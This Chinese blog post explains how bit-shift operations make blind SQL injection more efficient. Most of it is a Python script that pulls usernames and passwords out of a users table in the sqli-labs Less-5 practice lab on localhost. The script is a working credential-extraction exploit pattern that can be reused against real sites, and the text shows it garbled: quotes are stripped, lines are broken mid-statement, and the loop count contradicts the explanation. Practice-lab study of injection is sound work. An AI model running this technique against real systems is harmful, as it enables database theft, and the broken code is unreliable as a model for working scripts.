热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

使用位运算使sql盲注更加高效

如何提高sql盲注的效率和命中率一直是个值得研究的问题目前的主流方法有1.遍历2.二分法3.dns法4.使用位运算今天着重介绍位运算的方法首先学习两个位运算符号(右

如何提高sql盲注的效率和命中率一直是个值得研究的问题

目前的主流方法有

1.遍历

2.二分法

3.dns法

4.使用位运算

今天着重介绍位运算的方法

首先学习两个位运算符号<<(左移)>>(右移)

左移相当于乘2,右移相当于除以2

所以我们利用这个特性一个ascii码一个字节8位,我们循环8次就可以确定一个字符

例如:

s的ascii码值为115,换成2进制为 0111 0011

然后我们进行运算 0111 0011>>7=0

0111 0011>>6=01

......

也就是说每8次循环确定一个字符,非常高效快捷


import requests
def bitOperation(url):
result
= "" # 存储获取的查询结果
url_bak = url
# 外层循环由查询结果字符的长度控制,内层循环即为固定的7次位运算
for len in range(1, 777): # 此处长度可控,也可以不做判断直接给一个很长的数字
str = 0 # 设置当前字符的ascii码二进制的第一位默认为0
for i in range(0, 7):
url
= url.format(len, 6 - i, int(str + 0, 2)) # int(str + ‘0‘, 2)表示假设其第二位为0,若相等即条件为真,否则为假
r = requests.get(url)
# 以页面正常时的标识关键字作为区分,存在是为0,不存在是为1
if r.text.find("You are in") != -1:
str
+= 0
else:
str
+= 1
url
= url_bak
# 二进制转换成十进制,也就是ascii码,再将ascii码转换成字符累加到result变量上
result += chr(int(str, 2))
print(result)
if int(str, 2) == 0: # 不再作判断长度, 当ascii码为00000000时自动退出(多发7个请求)
print("已超过此次查询字符串的长度,自动停止")
return result
if int(str, 2) == 127:
print("查询内容不存在或语法错误...")
return result
return result

url
= "http://127.0.0.1/sqli-labs/Less-5/?id=1‘ and ascii(substr((select group_concat(concat_ws(0x7e,username,password)) from users),{},1))>>{}={}-- -"
bitOperation(url)


 


推荐阅读
  • 本文探讨了使用C#在SQL Server和Access数据库中批量插入多条数据的性能差异。通过具体代码示例,详细分析了两种数据库的执行效率,并提供了优化建议。 ... [详细]
  • 本文详细介绍超文本标记语言(HTML)的基本概念与语法结构。HTML是构建网页的核心语言,通过标记标签描述页面内容,帮助开发者创建结构化、语义化的Web页面。 ... [详细]
  • 本文详细介绍了网络存储技术的基本概念、分类及应用场景。通过分析直连式存储(DAS)、网络附加存储(NAS)和存储区域网络(SAN)的特点,帮助读者理解不同存储方式的优势与局限性。 ... [详细]
  • 哈密顿回路问题旨在寻找一个简单回路,该回路包含图中的每个顶点。本文将介绍如何判断给定的路径是否构成哈密顿回路。 ... [详细]
  • 本文将带领读者深入了解Android系统源码在手机中的实际表现,通过详细的步骤和专业的解释,帮助你更好地理解Android系统的底层运作机制。 ... [详细]
  • 本文介绍了如何使用Java中的同步方法和同步代码块来实现两个线程的交替打印。一个线程负责打印1到52的数字,另一个线程负责打印A到Z的字母,确保输出顺序为12A34B...5152Z。 ... [详细]
  • 通过Web界面管理Linux日志的解决方案
    本指南介绍了一种利用rsyslog、MariaDB和LogAnalyzer搭建集中式日志管理平台的方法,使用户可以通过Web界面查看和分析Linux系统的日志记录。此方案不仅适用于服务器环境,还提供了详细的步骤来确保系统的稳定性和安全性。 ... [详细]
  • 本文详细探讨了 Django 的 ORM(对象关系映射)机制,重点介绍了其如何通过 Python 元类技术实现数据库表与 Python 类的映射。此外,文章还分析了 Django 中各种字段类型的继承结构及其与数据库数据类型的对应关系。 ... [详细]
  • 探讨了在有序数列中实现多种查询和修改操作的高效数据结构设计,主要使用线段树与平衡树(Treap)结合的方法。 ... [详细]
  • 深入理解T-SQL中的NULL与三值逻辑
    本文探讨了SQL Server中的三值逻辑,解释了谓词计算结果为TRUE、FALSE和UNKNOWN的规则。通过具体示例,详细说明了如何正确处理NULL值,并探讨了在不同约束条件下的行为。 ... [详细]
  • 创建项目:Visual Studio Online 入门指南
    本文介绍如何使用微软的 Visual Studio Online(VSO)创建和管理开发项目。作为一款基于云计算的开发平台,VSO 提供了丰富的工具和服务,简化了项目的配置和部署流程。 ... [详细]
  • Redis Hash 数据结构详解
    本文详细介绍了 Redis 中的 Hash 数据类型及其常用命令。Hash 类型用于存储键值对集合,支持多种操作如插入、查询、更新和删除字段值。此外,文章还探讨了 Hash 类型在实际业务场景中的应用,并提供了优化建议。 ... [详细]
  • 本文介绍了 Winter-1-C A + B II 问题的详细解题思路和测试数据。该问题要求计算两个大整数的和,并输出结果。我们将深入探讨如何处理大整数运算,确保在给定的时间和内存限制下正确求解。 ... [详细]
  • 本文介绍如何在 C++ 中使用链表结构存储和管理数据。通过具体示例,展示了静态链表的基本操作,包括节点的创建、链接及遍历。 ... [详细]
  • 本文旨在提供一套高效的面试方法,帮助企业在短时间内找到合适的产品经理。虽然观点较为直接,但其方法已被实践证明有效,尤其适用于初创公司和新项目的需求。 ... [详细]
author-avatar
许心怡917
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有